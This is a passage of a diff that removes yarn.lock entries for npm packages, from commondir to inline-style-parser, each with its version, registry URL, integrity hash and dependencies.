- integrity sha512-GHuDRO12Sypu2cV70d1dkA2EUmXHgntrzbpvOB+Qy+49ypNfGgFQIC2fhhXbnyrJRynDCAARsT7Ou0M6hirpfw==
-
-commondir@^1.0.1:
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/commondir/-/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b"
- integrity sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=
-
-console-browserify@^1.1.0:
- version "1.2.0"
- resolved "https://registry.yarnpkg.com/console-browserify/-/console-browserify-1.2.0.tgz#67063cef57ceb6cf4993a2ab3a55840ae8c49336"
- integrity sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA==
-
-constants-browserify@^1.0.0:
- version "1.0.0"
- resolved "https://registry.yarnpkg.com/constants-browserify/-/constants-browserify-1.0.0.tgz#c20b96d8c617748aaf1c16021760cd27fcb8cb75"
- integrity sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=
-
-convert-source-map@1.7.0:
- version "1.7.0"
- resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.7.0.tgz#17a2cb882d7f77d3490585e2ce6c524424a3a442"
- integrity sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA==
- dependencies:
- safe-buffer "~5.1.1"
-
-core-util-is@~1.0.0:
- version "1.0.2"
- resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7"
- integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=
-
-create-ecdh@^4.0.0:
- version "4.0.4"
- resolved "https://registry.yarnpkg.com/create-ecdh/-/create-ecdh-4.0.4.tgz#d6e7f4bffa66736085a0762fd3a632684dabcc4e"
- integrity sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A==
- dependencies:
- bn.js "^4.1.0"
- elliptic "^6.5.3"
-
-create-hash@^1.1.0, create-hash@^1.1.2, create-hash@^1.2.0:
- version "1.2.0"
- resolved "https://registry.yarnpkg.com/create-hash/-/create-hash-1.2.0.tgz#889078af11a63756bcfb59bd221996be3a9ef196"
- integrity sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==
- dependencies:
- cipher-base "^1.0.1"
- inherits "^2.0.1"
- md5.js "^1.3.4"
- ripemd160 "^2.0.1"
- sha.js "^2.4.0"
-
-create-hmac@^1.1.0, create-hmac@^1.1.4, create-hmac@^1.1.7:
- version "1.1.7"
- resolved "https://registry.yarnpkg.com/create-hmac/-/create-hmac-1.1.7.tgz#69170c78b3ab957147b2b8b04572e47ead2243ff"
- integrity sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==
- dependencies:
- cipher-base "^1.0.3"
- create-hash "^1.1.0"
- inherits "^2.0.1"
- ripemd160 "^2.0.0"
- safe-buffer "^5.0.1"
- sha.js "^2.4.8"
-
-crypto-browserify@3.12.0, crypto-browserify@^3.11.0:
- version "3.12.0"
- resolved "https://registry.yarnpkg.com/crypto-browserify/-/crypto-browserify-3.12.0.tgz#396cf9f3137f03e4b8e532c58f698254e00f80ec"
- integrity sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==
- dependencies:
- browserify-cipher "^1.0.0"
- browserify-sign "^4.0.0"
- create-ecdh "^4.0.0"
- create-hash "^1.1.0"
- create-hmac "^1.1.0"
- diffie-hellman "^5.0.0"
- inherits "^2.0.1"
- pbkdf2 "^3.0.3"
- public-encrypt "^4.0.0"
- randombytes "^2.0.0"
- randomfill "^1.0.3"
-
-css-vendor@^2.0.8:
- version "2.0.8"
- resolved "https://registry.yarnpkg.com/css-vendor/-/css-vendor-2.0.8.tgz#e47f91d3bd3117d49180a3c935e62e3d9f7f449d"
- integrity sha512-x9Aq0XTInxrkuFeHKbYC7zWY8ai7qJ04Kxd9MnvbC1uO5DagxoHQjm4JvG+vCdXOoFtCjbL2XSZfxmoYa9uQVQ==
- dependencies:
- "@babel/runtime" "^7.8.3"
- is-in-browser "^1.0.2"
-
-css.escape@1.5.1:
- version "1.5.1"
- resolved "https://registry.yarnpkg.com/css.escape/-/css.escape-1.5.1.tgz#42e27d4fa04ae32f931a4b4d4191fa9cddee97cb"
- integrity sha1-QuJ9T6BK4y+TGktNQZH6nN3ul8s=
-
-cssnano-preset-simple@1.2.2:
- version "1.2.2"
- resolved "https://registry.yarnpkg.com/cssnano-preset-simple/-/cssnano-preset-simple-1.2.2.tgz#c631bf79ffec7fdfc4069e2f2da3ca67d99d8413"
- integrity sha512-gtvrcRSGtP3hA/wS8mFVinFnQdEsEpm3v4I/s/KmNjpdWaThV/4E5EojAzFXxyT5OCSRPLlHR9iQexAqKHlhGQ==
- dependencies:
- caniuse-lite "^1.0.30001179"
- postcss "^7.0.32"
-
-cssnano-simple@1.2.2:
- version "1.2.2"
- resolved "https://registry.yarnpkg.com/cssnano-simple/-/cssnano-simple-1.2.2.tgz#72c2c3970e67123c3b4130894a30dc1050267007"
- integrity sha512-4slyYc1w4JhSbhVX5xi9G0aQ42JnRyPg+7l7cqoNyoIDzfWx40Rq3JQZnoAWDu60A4AvKVp9ln/YSUOdhDX68g==
- dependencies:
- cssnano-preset-simple "1.2.2"
- postcss "^7.0.32"
-
-csstype@^2.5.2:
- version "2.6.16"
- resolved "https://registry.yarnpkg.com/csstype/-/csstype-2.6.16.tgz#544d69f547013b85a40d15bff75db38f34fe9c39"
- integrity sha512-61FBWoDHp/gRtsoDkq/B1nWrCUG/ok1E3tUrcNbZjsE9Cxd9yzUirjS3+nAATB8U4cTtaQmAHbNndoFz5L6C9Q==
-
-csstype@^3.0.2:
- version "3.0.7"
- resolved "https://registry.yarnpkg.com/csstype/-/csstype-3.0.7.tgz#2a5fb75e1015e84dd15692f71e89a1450290950b"
- integrity sha512-KxnUB0ZMlnUWCsx2Z8MUsr6qV6ja1w9ArPErJaJaF8a5SOWoHLIszeCTKGRGRgtLgYrs1E8CHkNSP1VZTTPc9g==
-
-data-uri-to-buffer@3.0.1:
- version "3.0.1"
- resolved "https://registry.yarnpkg.com/data-uri-to-buffer/-/data-uri-to-buffer-3.0.1.tgz#594b8973938c5bc2c33046535785341abc4f3636"
- integrity sha512-WboRycPNsVw3B3TL559F7kuBUM4d8CgMEvk6xEJlOp7OBPjt6G7z8WMWlD2rOFZLk6OYfFIUGsCOWzcQH9K2og==
-
-debug@2:
- version "2.6.9"
- resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
- integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
- dependencies:
- ms "2.0.0"
-
-debug@^4.0.0:
- version "4.3.1"
- resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.1.tgz#f0d229c505e0c6d8c49ac553d1b13dc183f6b2ee"
- integrity sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==
- dependencies:
- ms "2.1.2"
-
-delegate@^3.1.2:
- version "3.2.0"
- resolved "https://registry.yarnpkg.com/delegate/-/delegate-3.2.0.tgz#b66b71c3158522e8ab5744f720d8ca0c2af59166"
- integrity sha512-IofjkYBZaZivn0V8nnsMJGBr4jVLxHDheKSW88PyxS5QC4Vo9ZbZVvhzlSxY87fVq3STR6r+4cGepyHkcWOQSw==
-
-depd@~1.1.2:
- version "1.1.2"
- resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9"
- integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=
-
-des.js@^1.0.0:
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/des.js/-/des.js-1.0.1.tgz#5382142e1bdc53f85d86d53e5f4aa7deb91e0843"
- integrity sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA==
- dependencies:
- inherits "^2.0.1"
- minimalistic-assert "^1.0.0"
-
-diffie-hellman@^5.0.0:
- version "5.0.3"
- resolved "https://registry.yarnpkg.com/diffie-hellman/-/diffie-hellman-5.0.3.tgz#40e8ee98f55a2149607146921c63e1ae5f3d2875"
- integrity sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==
- dependencies:
- bn.js "^4.1.0"
- miller-rabin "^4.0.0"
- randombytes "^2.0.0"
-
-dom-helpers@^5.0.1:
- version "5.2.0"
- resolved "https://registry.yarnpkg.com/dom-helpers/-/dom-helpers-5.2.0.tgz#57fd054c5f8f34c52a3eeffdb7e7e93cd357d95b"
- integrity sha512-Ru5o9+V8CpunKnz5LGgWXkmrH/20cGKwcHwS4m73zIvs54CN9epEmT/HLqFJW3kXpakAFkEdzgy1hzlJe3E4OQ==
- dependencies:
- "@babel/runtime" "^7.8.7"
- csstype "^3.0.2"
-
-domain-browser@^1.1.1:
- version "1.2.0"
- resolved "https://registry.yarnpkg.com/domain-browser/-/domain-browser-1.2.0.tgz#3d31f50191a6749dd1375a7f522e823d42e54eda"
- integrity sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==
-
-electron-to-chromium@^1.3.634:
- version "1.3.700"
- resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.700.tgz#a6999a954c698dc7da5e84c369d65432dbe895be"
- integrity sha512-wQtaxVZzpOeCjW1CGuC5W3bYjE2jglvk076LcTautBOB9UtHztty7wNzjVsndiMcSsdUsdMy5w76w5J1U7OPTQ==
-
-elliptic@^6.5.3:
- version "6.5.4"
- resolved "https://registry.yarnpkg.com/elliptic/-/elliptic-6.5.4.tgz#da37cebd31e79a1367e941b592ed1fbebd58abbb"
- integrity sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==
- dependencies:
- bn.js "^4.11.9"
- brorand "^1.1.0"
- hash.js "^1.0.0"
- hmac-drbg "^1.0.1"
- inherits "^2.0.4"
- minimalistic-assert "^1.0.1"
- minimalistic-crypto-utils "^1.0.1"
-
-emojis-list@^2.0.0:
- version "2.1.0"
- resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-2.1.0.tgz#4daa4d9db00f9819880c79fa457ae5b09a1fd389"
- integrity sha1-TapNnbAPmBmIDHn6RXrlsJof04k=
-
-escalade@^3.1.1:
- version "3.1.1"
- resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40"
- integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==
-
-escape-string-regexp@^1.0.5:
- version "1.0.5"
- resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
- integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=
-
-escape-string-regexp@^4.0.0:
- version "4.0.0"
- resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
- integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
-
-esutils@^2.0.2:
- version "2.0.3"
- resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64"
- integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==
-
-etag@1.8.1:
- version "1.8.1"
- resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887"
- integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=
-
-events@^3.0.0:
- version "3.3.0"
- resolved "https://registry.yarnpkg.com/events/-/events-3.3.0.tgz#31a95ad0a924e2d2c419a813aeb2c4e878ea7400"
- integrity sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==
-
-evp_bytestokey@^1.0.0, evp_bytestokey@^1.0.3:
- version "1.0.3"
- resolved "https://registry.yarnpkg.com/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz#7fcbdb198dc71959432efe13842684e0525acb02"
- integrity sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==
- dependencies:
- md5.js "^1.3.4"
- safe-buffer "^5.1.1"
-
-extend@^3.0.0:
- version "3.0.2"
- resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa"
- integrity sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==
-
-fault@^1.0.0:
- version "1.0.4"
- resolved "https://registry.yarnpkg.com/fault/-/fault-1.0.4.tgz#eafcfc0a6d214fc94601e170df29954a4f842f13"
- integrity sha512-CJ0HCB5tL5fYTEA7ToAq5+kTwd++Borf1/bifxd9iT70QcXr4MRrO3Llf8Ifs70q+SJcGHFtnIE/Nw6giCtECA==
- dependencies:
- format "^0.2.0"
-
-fill-range@^7.0.1:
- version "7.0.1"
- resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.0.1.tgz#1919a6a7c75fe38b2c7c77e5198535da9acdda40"
- integrity sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==
- dependencies:
- to-regex-range "^5.0.1"
-
-find-cache-dir@3.3.1:
- version "3.3.1"
- resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-3.3.1.tgz#89b33fad4a4670daa94f855f7fbe31d6d84fe880"
- integrity sha512-t2GDMt3oGC/v+BMwzmllWDuJF/xcDtE5j/fCGbqDD7OLuJkj0cfh1YSA5VKPvwMeLFLNDBkwOKZ2X85jGLVftQ==
- dependencies:
- commondir "^1.0.1"
- make-dir "^3.0.2"
- pkg-dir "^4.1.0"
-
-find-up@^4.0.0:
- version "4.1.0"
- resolved "https://registry.yarnpkg.com/find-up/-/find-up-4.1.0.tgz#97afe7d6cdc0bc5928584b7c8d7b16e8a9aa5d19"
- integrity sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==
- dependencies:
- locate-path "^5.0.0"
- path-exists "^4.0.0"
-
-format@^0.2.0:
- version "0.2.2"
- resolved "https://registry.yarnpkg.com/format/-/format-0.2.2.tgz#d6170107e9efdc4ed30c9dc39016df942b5cb58b"
- integrity sha1-1hcBB+nv3E7TDJ3DkBbflCtctYs=
-
-fsevents@~2.3.1:
- version "2.3.2"
- resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a"
- integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==
-
-fuse.js@^6.4.6:
- version "6.4.6"
- resolved "https://registry.yarnpkg.com/fuse.js/-/fuse.js-6.4.6.tgz#62f216c110e5aa22486aff20be7896d19a059b79"
- integrity sha512-/gYxR/0VpXmWSfZOIPS3rWwU8SHgsRTwWuXhyb2O6s7aRuVtHtxCkR33bNYu3wyLyNx/Wpv0vU7FZy8Vj53VNw==
-
-get-orientation@1.1.2:
- version "1.1.2"
- resolved "https://registry.yarnpkg.com/get-orientation/-/get-orientation-1.1.2.tgz#20507928951814f8a91ded0a0e67b29dfab98947"
- integrity sha512-/pViTfifW+gBbh/RnlFYHINvELT9Znt+SYyDKAUL6uV6By019AK/s+i9XP4jSwq7lwP38Fd8HVeTxym3+hkwmQ==
- dependencies:
- stream-parser "^0.3.1"
-
-glob-parent@~5.1.0:
- version "5.1.2"
- resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
- integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==
- dependencies:
- is-glob "^4.0.1"
-
-glob-to-regexp@^0.4.1:
- version "0.4.1"
- resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz#c75297087c851b9a578bd217dd59a92f59fe546e"
- integrity sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==
-
-good-listener@^1.2.2:
- version "1.2.2"
- resolved "https://registry.yarnpkg.com/good-listener/-/good-listener-1.2.2.tgz#d53b30cdf9313dffb7dc9a0d477096aa6d145c50"
- integrity sha1-1TswzfkxPf+33JoNR3CWqm0UXFA=
- dependencies:
- delegate "^3.1.2"
-
-graceful-fs@^4.1.2:
- version "4.2.6"
- resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.6.tgz#ff040b2b0853b23c3d31027523706f1885d76bee"
- integrity sha512-nTnJ528pbqxYanhpDYsi4Rd8MAeaBA67+RZ10CM1m3bTAVFEDcd5AuA4a6W5YkGZ1iNXHzZz8T6TBKLeBuNriQ==
-
-has-flag@^3.0.0:
- version "3.0.0"
- resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
- integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0=
-
-has-flag@^4.0.0:
- version "4.0.0"
- resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
- integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
-
-hash-base@^3.0.0:
- version "3.1.0"
- resolved "https://registry.yarnpkg.com/hash-base/-/hash-base-3.1.0.tgz#55c381d9e06e1d2997a883b4a3fddfe7f0d3af33"
- integrity sha512-1nmYp/rhMDiE7AYkDw+lLwlAzz0AntGIe51F3RfFfEqyQ3feY2eI/NcwC6umIQVOASPMsWJLJScWKSSvzL9IVA==
- dependencies:
- inherits "^2.0.4"
- readable-stream "^3.6.0"
- safe-buffer "^5.2.0"
-
-hash.js@^1.0.0, hash.js@^1.0.3:
- version "1.1.7"
- resolved "https://registry.yarnpkg.com/hash.js/-/hash.js-1.1.7.tgz#0babca538e8d4ee4a0f8988d68866537a003cf42"
- integrity sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==
- dependencies:
- inherits "^2.0.3"
- minimalistic-assert "^1.0.1"
-
-hast-to-hyperscript@^9.0.0:
- version "9.0.1"
- resolved "https://registry.yarnpkg.com/hast-to-hyperscript/-/hast-to-hyperscript-9.0.1.tgz#9b67fd188e4c81e8ad66f803855334173920218d"
- integrity sha512-zQgLKqF+O2F72S1aa4y2ivxzSlko3MAvxkwG8ehGmNiqd98BIN3JM1rAJPmplEyLmGLO2QZYJtIneOSZ2YbJuA==
- dependencies:
- "@types/unist" "^2.0.3"
- comma-separated-tokens "^1.0.0"
- property-information "^5.3.0"
- space-separated-tokens "^1.0.0"
- style-to-object "^0.3.0"
- unist-util-is "^4.0.0"
- web-namespaces "^1.0.0"
-
-hast-util-from-parse5@^6.0.0:
- version "6.0.1"
- resolved "https://registry.yarnpkg.com/hast-util-from-parse5/-/hast-util-from-parse5-6.0.1.tgz#554e34abdeea25ac76f5bd950a1f0180e0b3bc2a"
- integrity sha512-jeJUWiN5pSxW12Rh01smtVkZgZr33wBokLzKLwinYOUfSzm1Nl/c3GUGebDyOKjdsRgMvoVbV0VpAcpjF4NrJA==
- dependencies:
- "@types/parse5" "^5.0.0"
- hastscript "^6.0.0"
- property-information "^5.0.0"
- vfile "^4.0.0"
- vfile-location "^3.2.0"
- web-namespaces "^1.0.0"
-
-hast-util-parse-selector@^2.0.0:
- version "2.2.5"
- resolved "https://registry.yarnpkg.com/hast-util-parse-selector/-/hast-util-parse-selector-2.2.5.tgz#d57c23f4da16ae3c63b3b6ca4616683313499c3a"
- integrity sha512-7j6mrk/qqkSehsM92wQjdIgWM2/BW61u/53G6xmC8i1OmEdKLHbk419QKQUjz6LglWsfqoiHmyMRkP1BGjecNQ==
-
-hast-util-raw@^6.1.0:
- version "6.1.0"
- resolved "https://registry.yarnpkg.com/hast-util-raw/-/hast-util-raw-6.1.0.tgz#e16a3c2642f65cc7c480c165400a40d604ab75d0"
- integrity sha512-5FoZLDHBpka20OlZZ4I/+RBw5piVQ8iI1doEvffQhx5CbCyTtP8UCq8Tw6NmTAMtXgsQxmhW7Ly8OdFre5/YMQ==
- dependencies:
- "@types/hast" "^2.0.0"
- hast-util-from-parse5 "^6.0.0"
- hast-util-to-parse5 "^6.0.0"
- html-void-elements "^1.0.0"
- parse5 "^6.0.0"
- unist-util-position "^3.0.0"
- unist-util-visit "^2.0.0"
- vfile "^4.0.0"
- web-namespaces "^1.0.0"
- xtend "^4.0.0"
- zwitch "^1.0.0"
-
-hast-util-to-parse5@^6.0.0:
- version "6.0.0"
- resolved "https://registry.yarnpkg.com/hast-util-to-parse5/-/hast-util-to-parse5-6.0.0.tgz#1ec44650b631d72952066cea9b1445df699f8479"
- integrity sha512-Lu5m6Lgm/fWuz8eWnrKezHtVY83JeRGaNQ2kn9aJgqaxvVkFCZQBEhgodZUDUvoodgyROHDb3r5IxAEdl6suJQ==
- dependencies:
- hast-to-hyperscript "^9.0.0"
- property-information "^5.0.0"
- web-namespaces "^1.0.0"
- xtend "^4.0.0"
- zwitch "^1.0.0"
-
-hastscript@^6.0.0:
- version "6.0.0"
- resolved "https://registry.yarnpkg.com/hastscript/-/hastscript-6.0.0.tgz#e8768d7eac56c3fdeac8a92830d58e811e5bf640"
- integrity sha512-nDM6bvd7lIqDUiYEiu5Sl/+6ReP0BMk/2f4U/Rooccxkj0P5nm+acM5PrGJ/t5I8qPGiqZSE6hVAwZEdZIvP4w==
- dependencies:
- "@types/hast" "^2.0.0"
- comma-separated-tokens "^1.0.0"
- hast-util-parse-selector "^2.0.0"
- property-information "^5.0.0"
- space-separated-tokens "^1.0.0"
-
-he@1.2.0:
- version "1.2.0"
- resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f"
- integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==
-
-highlight.js@^10.4.1, highlight.js@~10.7.0:
- version "10.7.2"
- resolved "https://registry.yarnpkg.com/highlight.js/-/highlight.js-10.7.2.tgz#89319b861edc66c48854ed1e6da21ea89f847360"
- integrity sha512-oFLl873u4usRM9K63j4ME9u3etNF0PLiJhSQ8rdfuL51Wn3zkD6drf9ZW0dOzjnZI22YYG24z30JcmfCZjMgYg==
-
-hmac-drbg@^1.0.1:
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/hmac-drbg/-/hmac-drbg-1.0.1.tgz#d2745701025a6c775a6c545793ed502fc0c649a1"
- integrity sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=
- dependencies:
- hash.js "^1.0.3"
- minimalistic-assert "^1.0.0"
- minimalistic-crypto-utils "^1.0.1"
-
-hoist-non-react-statics@^3.3.2:
- version "3.3.2"
- resolved "https://registry.yarnpkg.com/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz#ece0acaf71d62c2969c2ec59feff42a4b1a85b45"
- integrity sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==
- dependencies:
- react-is "^16.7.0"
-
-html-void-elements@^1.0.0:
- version "1.0.5"
- resolved "https://registry.yarnpkg.com/html-void-elements/-/html-void-elements-1.0.5.tgz#ce9159494e86d95e45795b166c2021c2cfca4483"
- integrity sha512-uE/TxKuyNIcx44cIWnjr/rfIATDH7ZaOMmstu0CwhFG1Dunhlp4OC6/NMbhiwoq5BpW0ubi303qnEk/PZj614w==
-
-http-errors@1.7.3:
- version "1.7.3"
- resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.3.tgz#6c619e4f9c60308c38519498c14fbb10aacebb06"
- integrity sha512-ZTTX0MWrsQ2ZAhA1cejAwDLycFsd7I7nVtnkT3Ol0aqodaKW+0CTZDQ1uBv5whptCnc8e8HeRRJxRs0kmm/Qfw==
- dependencies:
- depd "~1.1.2"
- inherits "2.0.4"
- setprototypeof "1.1.1"
- statuses ">= 1.5.0 < 2"
- toidentifier "1.0.0"
-
-https-browserify@^1.0.0:
- version "1.0.0"
- resolved "https://registry.yarnpkg.com/https-browserify/-/https-browserify-1.0.0.tgz#ec06c10e0a34c0f2faf199f7fd7fc78fffd03c73"
- integrity sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=
-
-hyphenate-style-name@^1.0.3:
- version "1.0.4"
- resolved "https://registry.yarnpkg.com/hyphenate-style-name/-/hyphenate-style-name-1.0.4.tgz#691879af8e220aea5750e8827db4ef62a54e361d"
- integrity sha512-ygGZLjmXfPHj+ZWh6LwbC37l43MhfztxetbFCoYTM2VjkIUpeHgSNn7QIyVFj7YQ1Wl9Cbw5sholVJPzWvC2MQ==
-
-iconv-lite@0.4.24:
- version "0.4.24"
- resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b"
- integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==
- dependencies:
- safer-buffer ">= 2.1.2 < 3"
-
-ieee754@^1.1.4:
- version "1.2.1"
- resolved "https://registry.yarnpkg.com/ieee754/-/ieee754-1.2.1.tgz#8eb7a10a63fff25d15a57b001586d177d1b0d352"
- integrity sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==
-
-indefinite-observable@^2.0.1:
- version "2.0.1"
- resolved "https://registry.yarnpkg.com/indefinite-observable/-/indefinite-observable-2.0.1.tgz#574af29bfbc17eb5947793797bddc94c9d859400"
- integrity sha512-G8vgmork+6H9S8lUAg1gtXEj2JxIQTo0g2PbFiYOdjkziSI0F7UYBiVwhZRuixhBCNGczAls34+5HJPyZysvxQ==
- dependencies:
- symbol-observable "1.2.0"
-
-inherits@2.0.1:
- version "2.0.1"
- resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.1.tgz#b17d08d326b4423e568eff719f91b0b1cbdf69f1"
- integrity sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=
-
-inherits@2.0.3:
- version "2.0.3"
- resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
- integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=
-
-inherits@2.0.4, inherits@^2.0.1, inherits@^2.0.3, inherits@^2.0.4, inherits@~2.0.1, inherits@~2.0.3, inherits@~2.0.4:
- version "2.0.4"
- resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
- integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
-
-inline-style-parser@0.1.1:
- version "0.1.1"
- resolved "https://registry.yarnpkg.com/inline-style-parser/-/inline-style-parser-0.1.1.tgz#ec8a3b429274e9c0a1f1c4ffa9453a7fef72cea1"
